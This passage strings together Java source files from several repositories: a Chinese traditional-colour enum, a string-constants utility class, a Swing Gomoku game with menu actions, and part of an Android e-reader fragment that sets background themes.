*/ WA_SONG_LV(new Color(110, 139, 116), "瓦松绿", "瓦松绿色"), /** * 荷叶绿 */ HE_YE_LV(new Color(26, 104, 64), "荷叶绿", "荷叶绿色"), /** * 田螺绿 */ TIAN_LUO_LV(new Color(94, 102, 91), "田螺绿", "田螺绿色"), /** * 白屈菜绿 */ BAI_QU_CAI_LV(new Color(72, 91, 77), "白屈菜绿", "白屈菜绿色"), /** * 河豚灰 */ HE_TUN_HUI(new Color(57, 55, 51), "河豚灰", "河豚灰色"), /** * 蒽油绿 */ EN_YOU_LV(new Color(55, 56, 52), "蒽油绿", "蒽油绿色"), /** * 槲寄生绿 */ HU_JI_SHENG_LV(new Color(43, 49, 44), "槲寄生绿", "槲寄生绿色"), /** * 云杉绿 */ YUN_SHAN_LV(new Color(21, 35, 27), "云杉绿", "云杉绿色"), /** * 嫩菊绿 */ NEN_JU_LV(new Color(240, 245, 229), "嫩菊绿", "嫩菊绿色"), /** * 艾背绿 */ AI_BEI_LV(new Color(223, 236, 213), "艾背绿", "艾背绿色"), /** * 嘉陵水绿 */ JIA_LING_SHUI_LV(new Color(173, 213, 162), "嘉陵水绿", "嘉陵水绿色"), /** * 玉髓绿 */ YU_SUI_LV(new Color(65, 179, 73), "玉髓绿", "玉髓绿色"), /** * 鲜绿 */ XIAN_LV(new Color(67, 178, 68), "鲜绿", "鲜绿色"), /** * 宝石绿 */ BAO_SHI_LV(new Color(65, 174, 60), "宝石绿", "宝石绿色"), /** * 海沬绿 */ HAI_MEI_LV(new Color(226, 231, 191), "海沬绿", "海沬绿色"), /** * 姚黄 */ YAO_HUANG(new Color(208, 222, 170), "姚黄", "姚黄色"), /** * 橄榄石绿 */ GAN_LAN_SHI_LV(new Color(178, 207, 135), "橄榄石绿", "橄榄石绿色"), /** * 水绿 */ SHUI_LV(new Color(140, 194, 105), "水绿", "水绿色"), /** * 芦苇绿 */ LU_WEI_LV(new Color(183, 208, 122), "芦苇绿", "芦苇绿色"), /** * 槐花黄绿 */ HUAI_HUA_HUANG_LV(new Color(210, 217, 122), "槐花黄绿", "槐花黄绿色"), /** * 苹果绿 */ PING_GUO_LV(new Color(186, 207, 101), "苹果绿", "苹果绿色"), /** * 芽绿 */ YA_LV(new Color(150, 194, 78), "芽绿", "芽绿色"), /** * 蝶黄 */ DIE_HUANG(new Color(226, 216, 73), "蝶黄", "蝶黄色"), /** * 橄榄黄绿 */ GAN_LAN_HUANG_LV(new Color(190, 201, 54), "橄榄黄绿", "橄榄黄绿色"), /** * 鹦鹉绿 */ YING_WU_LV(new Color(91, 174, 35), "鹦鹉绿", "鹦鹉绿色"), /** * 油绿 */ YOU_LV(new Color(37, 61, 36), "油绿", "油绿色"), /** * 象牙白 */ XIANG_YA_BAI(new Color(255, 254, 248), "象牙白", "象牙白色"), /** * 汉白玉 */ HAN_BAI_YU(new Color(248, 244, 237), "汉白玉", "汉白玉色"), /** * 雪白 */ XUE_BAI(new Color(255, 254, 249), "雪白", "雪白色"), /** * 鱼肚白 */ YU_DU_BAI(new Color(247, 244, 237), "鱼肚白", "鱼肚白色"), /** * 珍珠灰 */ ZHEN_ZHU_HUI(new Color(228, 223, 215), "珍珠灰", "珍珠灰色"), /** * 浅灰 */ QIAN_HUI(new Color(218, 212, 203), "浅灰", "浅灰色"), /** * 铅灰 */ QIAN_HUI1(new Color(187, 181, 172), "铅灰", "铅灰色"), /** * 中灰 */ ZHONG_HUI(new Color(187, 181, 172), "中灰", "中灰色"), /** * 瓦灰 */ WA_HUI(new Color(134, 126, 118), "瓦灰", "瓦灰色"), /** * 夜灰 */ YE_HUI(new Color(132, 124, 116), "夜灰", "夜灰色"), /** * 雁灰 */ YAN_HUI(new Color(128, 118, 110), "雁灰", "雁灰色"), /** * 深灰 */ SHEN_HUI(new Color(129, 119, 110), "深灰", "深灰色"); /** * 颜色 */ private Color color; /** * 颜色名称 */ private String colorName; /** * 颜色描述 */ private String colorDescription; ChineseColorEnum(Color color, String colorName, String colorDescription) { this.color = color; this.colorName = colorName; this.colorDescription = colorDescription; } public Color getColor() { return color; } public String getColorName() { return colorName; } public String getColorDescription() { return colorDescription; } /** * 根据RGB值判断 深色与浅色 * * @param color * 颜色 * @return */ public static boolean isDark(Color color) { // 小于192为浅色,否则为深色 return color.getRed() * 0.299 + color.getGreen() * 0.578 + color.getBlue() * 0.114 < 192; } }
Syske/learning-dome-code
daily-note/src/main/java/io/github/syske/dailynote/util/ChineseColorEnum.java
65,515
/* * Copyright (C) 2022 [www.mobaijun.com] * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.mobaijun.common.constant; import java.util.HashSet; import java.util.Set; /** * software:IntelliJ IDEA 2022.1<br> * class name: StringConstant<br> * class description: 字符串常量<br> * * @author MoBaiJun 2022/5/18 9:49 */ public final class StringConstant { /** * VERTICAL_BAR */ public static final String VERTICAL_BAR = "|"; /** * DOT */ public static final String DOT = "."; /** * PERIOD */ public static final String PERIOD = "。"; /** * ASTERISK */ public static final String ASTERISK = "*"; /** * COMMA */ public static final String COMMA = ","; /** * COLON */ public static final String COLON = ":"; /** * QUESTION_MARK */ public static final String QUESTION_MARK = "?"; /** * SEMICOLON */ public static final String SEMICOLON = ";"; /** * HYPHEN */ public static final String HYPHEN = "-"; /** * UNDERLINE */ public static final String UNDERLINE = "_"; /** * BLANK */ public static final String BLANK = ""; /** * AND */ public static final String AND = "&"; /** * EMPTY_STRING */ public static final String EMPTY_STRING = " "; /** * EQUAL */ public static final String EQUAL = "="; /** * LEFT_BIG_PARENTHESES */ public static final String LEFT_BIG_PARENTHESES = "{"; /** * RIGHT_BIG_PARENTHESES */ public static final String RIGHT_BIG_PARENTHESES = "}"; /** * BIG_PARENTHESES */ public static final String BIG_PARENTHESES = "{}"; /** * SQUARE_BRACKETS */ public static final String SQUARE_BRACKETS = "[]"; /** * LEFT_SQUARE_BRACKETS */ public static final String LEFT_SQUARE_BRACKETS = "["; /** * RIGHT_SQUARE_BRACKETS */ public static final String RIGHT_SQUARE_BRACKETS = "]"; /** * PARENTHESES */ public static final String PARENTHESES = "()"; /** * LEFT_PARENTHESES */ public static final String LEFT_PARENTHESES = "("; /** * RIGHT_PARENTHESES */ public static final String RIGHT_PARENTHESES = ")"; /** * LEFT_ARROW */ public static final String LEFT_ARROW = " -> "; /** * AT */ public static final String AT = "@"; /** * NULL */ public static final String NULL = "null"; /** * PACKAGE_NAME */ public static final String PACKAGE_NAME = "com.mobaijun"; /** * CHINESE_CHARACTERS */ public static final String[] CHINESE_CHARACTERS = {"零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"}; /** * UNIT */ public static final String[][] UNIT = {{"元", "万", "亿"}, {"拾", "佰", "仟"}}; /** * FRACTION */ public static final String[] FRACTION = {"角", "分"}; /** * HTTP_PREFIX */ public static final String HTTP_PREFIX = "http://"; /** * HTTPS_PREFIX */ public static final String HTTPS_PREFIX = "https://"; /** * DOLLAR */ public static final String DOLLAR = "$"; /** * PERCENT */ public static final String PERCENT = "%"; /** * SLASH */ public static final String SLASH = "/"; /** * BACK_SLASH */ public static final String BACK_SLASH = "\\"; /** * FULL_WIDTH_LESS */ public static String FULL_WIDTH_LESS = "<"; /** * FULL_WIDTH_GREATER */ public static String FULL_WIDTH_GREATER = ">"; /** * HALF_WIDTH_LESS */ public static String HALF_WIDTH_LESS = "<"; /** * HALF_WIDTH_GREATER */ public static String HALF_WIDTH_GREATER = ">"; /** * INDEX_NOT_FOUND */ public static final int INDEX_NOT_FOUND = -1; /** * TAB */ public static final String TAB = "\t"; /** * DOUBLE_DOT */ public static final String DOUBLE_DOT = ".."; /** * CR */ public static final String CR = "\r"; /** * LF */ public static final String LF = "\n"; /** * v */ public static final String CRLF = "\r\n"; /** * HTML_NBSP */ public static final String HTML_NBSP = "&nbsp;"; /** * HTML_AMP */ public static final String HTML_AMP = "&amp;"; /** * HTML_QUOTE */ public static final String HTML_QUOTE = "&quot;"; /** * HTML_APOS */ public static final String HTML_APOS = "&apos;"; /** * HTML_LT */ public static final String HTML_LT = "&lt;"; /** * HTML_GT */ public static final String HTML_GT = "&gt;"; /** * ISO_8859_1 */ private final static String ISO_8859_1 = "ISO-8859-1"; /** * GB2312 */ private final static String GB2312 = "GB2312"; /** * UTF_8 */ private final static String UTF_8 = "UTF-8"; /** * // (浓汤)乳脂,番茄等-------// 薄雾玫瑰-------// 金---// 纯绿 ---------// 适中的绿宝石-----------// 爱丽丝蓝--// 板岩暗蓝灰色// 深粉色 * "255, 228, 196",---"255, 228, 225",---"255, 215, 0",---"0, 128, 0",--------"72, 209, 204",----"240, 248, 255"--"106, 90, 205""255, 20, 147" * // 深橙色---// 鲜肉(鲑鱼)色---// 玉米色---// 深绿色----------// 浅海洋绿---// 钢蓝--// 深岩暗蓝灰色// 适中的紫罗兰红色 * "255, 140, 0",---"250, 128, 114",---"255, 248, 220",---"0, 100, 0",--------"32, 178, 170",-----"70, 130, 180"--"72, 61, 139""199, 21, 133" * // 亚麻布---// 雪---// 秋麒麟---// 查特酒绿----------// 绿宝石------// 淡蓝色--// 熏衣草花的淡紫色// 兰花的紫色 * "250, 240, 230",---"255, 250, 250",---"218, 165, 32",---"127, 255, 0",--------"64, 224, 208",--"135, 206, 250"--"230, 230, 250""218, 112, 214" * // 秘鲁---// 淡珊瑚色---// 花的白色---// 草坪绿----------// 绿玉\碧绿色-------// 天蓝色--// 幽灵的白色// 蓟 * "205, 133, 63",---"240, 128, 128",---"255, 250, 240",---"124, 252, 0",--------"127, 255, 170",-"135, 206, 235"--"248, 248, 255""216, 191, 216" * // 桃色---// 玫瑰棕色---// 老饰带---// 绿黄色----------// 适中的碧绿色---------// 深天蓝--// 纯蓝// 李子 * "255, 218, 185",---"188, 143, 143",---"253, 245, 230",---"173, 255, 47",--------"0, 250, 154",-"0, 191, 255"--"0, 0, 255""221, 160, 221" * // 沙棕色---// 印度红---// 鹿皮鞋---// 橄榄土褐色----------// 薄荷奶油-------// 淡蓝--// 午夜的蓝色// 紫罗兰 * "244, 164, 96",---"205, 92, 92",---"255, 228, 181",---"85, 107, 47",--------"0, 255, 127",-----"173, 216, 230"--"25, 25, 112""238, 130, 238" * // 巧克力---// 棕色---// 橙色---// 米色(浅褐色)----------// 春天的绿色-------// 火药蓝--// 深蓝色// 洋红 * "210, 105, 30",---"165, 42, 42",---"255, 165, 0",---"107, 142, 35",--------"60, 179, 113",-----"176, 224, 230"--"0, 0, 139""255, 0, 255" * // 马鞍棕色---// 耐火砖---// 番木瓜---// 浅秋麒麟黄----------// 海洋绿-----// 军校蓝--// 海军蓝// 深洋红色 * "139, 69, 19",---"178, 34, 34",---"255, 239, 213",---"250, 250, 210",--------"46, 139, 87",----"95, 158, 160"--"0, 0, 128""139, 0, 139" * // 海贝壳---// 深红色---// 漂白的杏仁---// 象牙----------// 蜂蜜---------// 蔚蓝色--// 皇军蓝// 紫色 * "255, 245, 238",---"139, 0, 0",---"255, 235, 205",---"255, 255, 240",--------"240, 255, 240",--"240, 255, 255"--"65, 105, 225""128, 0, 128" * // 黄土赭色---// 栗色---// 古代的白色---// 浅黄色----------// 淡绿色--------// 淡青色--// 矢车菊的蓝色// 适中的兰花紫 * "160, 82, 45",---"128, 0, 0",---"250, 235, 215",---"255, 255, 224",--------"144, 238, 144",----"225, 255, 255"--"100, 149, 237""186, 85, 211" * // 浅鲜肉(鲑鱼)色---// 白烟---// 晒黑---// 纯黄----------// 苍白的绿色----// 苍白的绿宝石--// 淡钢蓝// 深紫罗兰色 * "255, 160, 122",---"245, 245, 245",---"210, 180, 140",---"255, 255, 0",----------"152, 251, 152","175, 238, 238"--"176, 196, 222""148, 0, 211" * // 珊瑚---// 浅灰色---// 结实的树---// 橄榄----------// 深海洋绿------// 青色--// 浅石板灰// 深兰花紫 * "255, 127, 80",---"211, 211, 211",---"222, 184, 135",---"128, 128, 0",----------"143, 188, 143",-"0, 255, 255"--"119, 136, 153""153, 50, 204" * // 橙红色---// 银白色------// 深卡其布----------// 酸橙绿--------// 深绿宝石--// 石板灰// 靛青 * "255, 69, 0",---"192, 192, 192",------"189, 183, 107",----------"50, 205, 50",-----------------"0, 206, 209"--"112, 128, 144""75, 0, 130" * // 深鲜肉(鲑鱼)色---// 暗淡的灰色------// 柠檬薄纱----------// 酸橙色------// 深石板灰--// 道奇蓝// 深紫罗兰的蓝色---// 粉红---// 脸红的淡紫色 * "233, 150, 122",---"105, 105, 105",------"255, 250, 205",----------"0, 255, 0",----------"47, 79, 79"--"30, 144, 255""138, 43, 226"---"255, 192, 203"---"255, 240, 245" * // 番茄---// 纯黑------// 灰秋麒麟----------// 森林绿------// 深青色--// 适中的紫色---// 猩红---// 苍白的紫罗兰红色 "255, 182, 193" * "255, 99, 71",---"0, 0, 0"------"238, 232, 170",----------"34, 139, 34",--------"0, 139, 139"--"147, 112, 219"---"220, 20, 60"---"219, 112, 147" */ public static final String[] COLOR_LIST = { "255,182,193", "255,192,203", "220,20,60", "255,240,245", "219,112,147", "255,105,180", "255,20,147", "148,0,211", "153,50,204", "199,21,133", "218,112,214", "216,191,216", "221,160,221", "238,130,238", "255,0,255", "139,0,139", "128,0,128", "186,85,211", "75,0,130", "138,43,226", "147,112,219", "123,104,238", "106,90,205", "72,61,139", "230,230,250", "248,248,255", "0,0,255", "25,25,112", "0,0,139", "0,0,128", "65,105,225", "100,149,237", "176,196,222", "119,136,153", "112,128,144", "30,144,255", "240,248,255", "70,130,180", "135,206,250", "135,206,235", "0,191,255", "173,216,230", "176,224,230", "95,158,160", "240,255,255", "225,255,255", "175,238,238", "0,255,255", "0,206,209", "47,79,79", "0,139,139", "0,128,128", "72,209,204", "32,178,170", "64,224,208", "127,255,170", "0,250,154", "0,255,127", "60,179,113", "46,139,87", "240,255,240", "173,255,47", "144,238,144", "152,251,152", "143,188,143", "50,205,50", "0,255,0", "34,139,34", "0,128,0", "0,100,0", "127,255,0", "124,252,0", "85,107,47", "107,142,35", "250,250,210", "255,255,240", "255,255,224", "255,255,0", "128,128,0", "189,183,107", "255,250,205", "238,232,170", "240,230,140", "255,215,0", "255,248,220", "218,165,32", "255,250,240", "253,245,230", "255,228,181", "255,165,0", "255,239,213", "255,235,205", "250,235,215", "210,180,140", "222,184,135", "255,228,196", "255,140,0", "250,240,230", "255,218,185", "244,164,96", "210,105,30", "139,69,19", "255,245,238", "160,82,45", "255,160,122", "255,127,80", "255,69,0", "233,150,122", "255,99,71", "255,228,225", "250,128,114", "255,250,250", "240,128,128", "188,143,143", "205,92,92", "205,133,63", "165,42,42", "178,34,34", "139,0,0", "128,0,0", "245,245,245", "211,211,211", "192,192,192", "105,105,105", "0,0,0", "255,0,0",}; /** * a-z、0-9的数组常量 */ public static final char[] ALPHANUMERIC = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; /** * 去重处理,去除重复的字符串常量 */ public static void removeDuplicates() { Set<String> uniqueConstants = new HashSet<>(); for (String constant : COLOR_LIST) { if (!uniqueConstants.add(constant)) { System.out.println("Duplicate constant: " + constant); } } } }
mobaijun/kjs-common
src/main/java/com/mobaijun/common/constant/StringConstant.java
65,516
package MyGame; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.Random; import javax.print.attribute.standard.JobMessageFromOperator; import javax.swing.*; public class Testywzq extends JFrame { public Testywzq() { Qipan qp = new Qipan(); this.add(qp); this.setSize(580, 630);//面板尺寸 this.setVisible(true);//面板处于可见状态 this.setLocationRelativeTo(null);//面板居中 this.setTitle("五子棋"); this.setResizable(false);//禁止巨大化 //选项栏 JMenuBar jmb = new JMenuBar();//实例化菜单栏对象 JMenu jm1 = new JMenu("选项");//实例化菜单对象 JMenuItem jmt1_1 = new JMenuItem("重新开始"); JMenuItem jmt1_2 = new JMenuItem("排行榜"); JMenuItem jmt1_3 = new JMenuItem("退出游戏"); JMenu jm2 = new JMenu("设置"); JMenuItem jmt2_1 = new JMenuItem("更换棋盘"); JMenuItem jmt2_2 = new JMenuItem("更换棋子"); JMenu jm3 = new JMenu("帮助"); JMenuItem jmt3_1 = new JMenuItem("关于我们"); jmb.add(jm1);//将菜单对象添加到菜单栏中 jmb.add(jm2); jmb.add(jm3); jm1.add(jmt1_1); jm1.add(jmt1_2); jm1.add(jmt1_3); jm2.add(jmt2_1); jm2.add(jmt2_2); jm3.add(jmt3_1); this.setJMenuBar(jmb);//将菜单栏对象添加到面板中JFrame this.revalidate();//刷新页面 this.addMouseListener(qp);//将对话框与棋盘连接 //重新开始 jmt1_1.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { for (int i = 0; i < qp.row; i++) { for (int j = 0; j < qp.col; j++) { qp.num[i][j] = 0; } } qp.sfjx = true; repaint(); } }); //排行榜 jmt1_2.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { String phMsg = "排行榜\n" + "局数 步数 结果"; for (int i = 0; i < qp.phbList.size(); i++) { PaiHangBang phb = qp.phbList.get(i); phMsg = phMsg + "\n" + phb.getJushu() + " " + phb.getBushu() + " " + phb.getJieguo(); } JOptionPane.showMessageDialog(null, phMsg); } }); //退出游戏 jmt1_3.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { System.exit(0); } }); //更换棋盘 jmt2_1.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { Random sjs = new Random(); int qpjsj = sjs.nextInt(4);//包头不包围0,1,2,3. qp.qptupian = "0" + qpjsj + ".jpg"; repaint();//刷新图片 } }); //更换棋子 jmt2_2.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { Random qzRan = new Random(); int qzsjs = qzRan.nextInt(5);//6张图片 qp.qizi1Name = "00" + qzsjs + ".png"; qp.qizi2Name = "00" + (qzsjs + 1) + ".png"; repaint(); } }); //关于我们 jmt3_1.addActionListener(new ActionListener() {//添加行为监听器 @Override public void actionPerformed(ActionEvent e) { String message = "关于我们\n" + "1.玩家先落子\n" + "2.五个棋子连成一条线胜利\n" + "制作人:尹海军"; JOptionPane.showMessageDialog(null, message); } }); } public static void main(String[] args) { Testywzq testwzq = new Testywzq(); } }
yhjaicly/MyGame
src/MyGame/Testywzq.java
65,518
package com.jingdong.app.reader.reading.readingsetting; import java.util.ArrayList; import java.util.List; import org.apache.http.Header; import android.annotation.SuppressLint; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.support.v4.content.LocalBroadcastManager; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.AbsListView; import android.widget.AbsListView.OnScrollListener; import android.widget.BaseAdapter; import android.widget.Button; import android.widget.ImageView; import android.widget.ListView; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.jingdong.app.reader.R; import com.jingdong.app.reader.activity.LauncherActivity; import com.jingdong.app.reader.activity.ReadOverlayActivity; import com.jingdong.app.reader.common.CommonFragment; import com.jingdong.app.reader.entity.BaseEvent; import com.jingdong.app.reader.entity.ChangeNightModeEvent; import com.jingdong.app.reader.entity.extra.OrderEntity; import com.jingdong.app.reader.entity.extra.OrderList; import com.jingdong.app.reader.eventbus.de.greenrobot.event.EventBus; import com.jingdong.app.reader.net.MyAsyncHttpResponseHandler; import com.jingdong.app.reader.net.RequestParamsPool; import com.jingdong.app.reader.net.URLText; import com.jingdong.app.reader.net.WebRequestHelper; import com.jingdong.app.reader.pay.OnlinePayActivity; import com.jingdong.app.reader.user.LocalUserSetting; import com.jingdong.app.reader.util.GsonUtils; import com.jingdong.app.reader.util.OnLinePayTools; import com.tendcloud.tenddata.TCAgent; public class ReadingBgFirstFragment extends Fragment { private ViewGroup rootView; /** 纯白 */ private View allwhiteTheme; /** 米黄 */ private View beigeTheme; /** 白纸 */ private View whitepaperTheme; /** 粉色 */ private View pinkTheme; /** 纸黄色 */ private View paper_yellow_Theme; /** 海军蓝 */ private View blueTheme; /** 暗绿 */ private View greyTheme; /** 酱色 */ private View caramelTheme; /** 深褐 */ private View sepiaTheme; private Context context; public ReadingBgFirstFragment() { super(); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { rootView = (ViewGroup) inflater.inflate( R.layout.reading_color_select, null); return rootView; } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); context = getActivity(); allwhiteTheme = rootView.findViewById(R.id.allwhiteTheme); beigeTheme = rootView.findViewById(R.id.beigeTheme); whitepaperTheme = rootView.findViewById(R.id.whitepaperTheme); pinkTheme = rootView.findViewById(R.id.pinkTheme); paper_yellow_Theme = rootView.findViewById(R.id.paper_yellow_Theme); blueTheme = rootView.findViewById(R.id.blueTheme); greyTheme = rootView.findViewById(R.id.greyTheme); caramelTheme = rootView.findViewById(R.id.caramelTheme); sepiaTheme = rootView.findViewById(R.id.sepiaTheme); //TODO allwhiteTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadAllWhiteStyle(); } }); beigeTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadBeigeStyle(); } }); whitepaperTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadWhitePaperStyle(); } }); pinkTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadPinkStyle(); } }); paper_yellow_Theme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadPaperYellowStyle(); } }); blueTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadBlueStyle(); } }); greyTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadGreyStyle(); } }); caramelTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadCaramelStyle(); } }); sepiaTheme.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { changeNightModel(); loadSepiaStyle(); } }); initView(); setupNightMode(); EventBus.getDefault().register(this); } @Override public void setUserVisibleHint(boolean isVisibleToUser) { super.setUserVisibleHint(isVisibleToUser); try { initView(); } catch (Exception e) { e.printStackTrace(); } } private void initView(){ clearSetupThemeStyle(); int bg_color = LocalUserSetting.getReading_Background_Color(context); if(bg_color == 0xFFFFFFFF && LocalUserSetting.getReading_Background_Texture(context) == -1){ setupAllWhiteStyle(); }else if (bg_color == 0xFFF7E7DE) { setupBeigeStyle(); }else if (bg_color == 0xFFF7E3D6) { setupWhitePaperStyle(); }else if (bg_color == 0xFFFFE7EF) { setupPinkPaperStyle(); }else if (bg_color == 0xFFDEC79C) { setupPaperYellowStyle(); }else if (bg_color == 0xFF08598C) { setupBlueStyle(); }else if (bg_color == 0xFF104139) { setupGreyStyle(); }else if (bg_color == 0xFF21495A) { setupCaramelStyle(); }else if (bg_color == 0xFF212421) { setupSepiaamelStyle(); } } private void changeNightModel(){ LocalUserSetting.saveReading_Night_Model(getActivity(), false); setupNightMode(); EventBus.getDefault().post(new ChangeNightModeEvent()); } /** * 改变黑夜白天设置时背景改变 * @param baseEvent */ public void onEventMainThread(BaseEvent baseEvent) { if (baseEvent instanceof ChangeNightModeEvent) { setupNightMode(); } } /** * 清除选择状态 */ private void clearSetupThemeStyle(){ allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void setupAllWhiteStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme_highlight); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadAllWhiteStyle() { setupAllWhiteStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFFFFFFFF); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFF000000); LocalUserSetting.saveIgnoreCssTextColor(context, false); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupBeigeStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme_highlight); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadBeigeStyle() { setupBeigeStyle(); LocalUserSetting.saveReading_Background_Color(context,0xFFF7E7DE); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFF313031); LocalUserSetting.saveIgnoreCssTextColor(context, false); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupWhitePaperStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme_highlight); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadWhitePaperStyle() { setupWhitePaperStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFFF7E3D6); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFF312C29); LocalUserSetting.saveIgnoreCssTextColor(context, false); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupPinkPaperStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme_highlight); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paper_yellow_theme); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadPinkStyle() { setupPinkPaperStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFFFFE7EF); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFF312C2A); LocalUserSetting.saveIgnoreCssTextColor(context, false); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupPaperYellowStyle() { allwhiteTheme.setBackgroundResource(R.drawable.read_allwhite_theme); beigeTheme.setBackgroundResource(R.drawable.read_beige_theme); whitepaperTheme.setBackgroundResource(R.drawable.read_whitepaper_theme); pinkTheme.setBackgroundResource(R.drawable.read_pink_theme); paper_yellow_Theme.setBackgroundResource(R.drawable.read_paperyellow_theme_highlight); blueTheme.setBackgroundResource(R.drawable.read_blue_theme); greyTheme.setBackgroundResource(R.drawable.read_grey_theme); caramelTheme.setBackgroundResource(R.drawable.read_caramel_theme); sepiaTheme.setBackgroundResource(R.drawable.read_sepia_theme); } private void loadPaperYellowStyle() { setupPaperYellowStyle(); // save color to user setting LocalUserSetting.saveReading_Background_Color(context,0xFFDEC79C); LocalUserSetting.saveReading_Background_Texture(context,-1); LocalUserSetting.saveReading_Text_Color(context, 0xFF311400); LocalUserSetting.saveIgnoreCssTextColor(context, false); Intent intent = new Intent(ReadOverlayActivity.ACTION_READSTYLE_CHANGE); LocalBroadcastManager.getInstance(context).sendBroadcast(intent); } private void setupBlueStyle() { 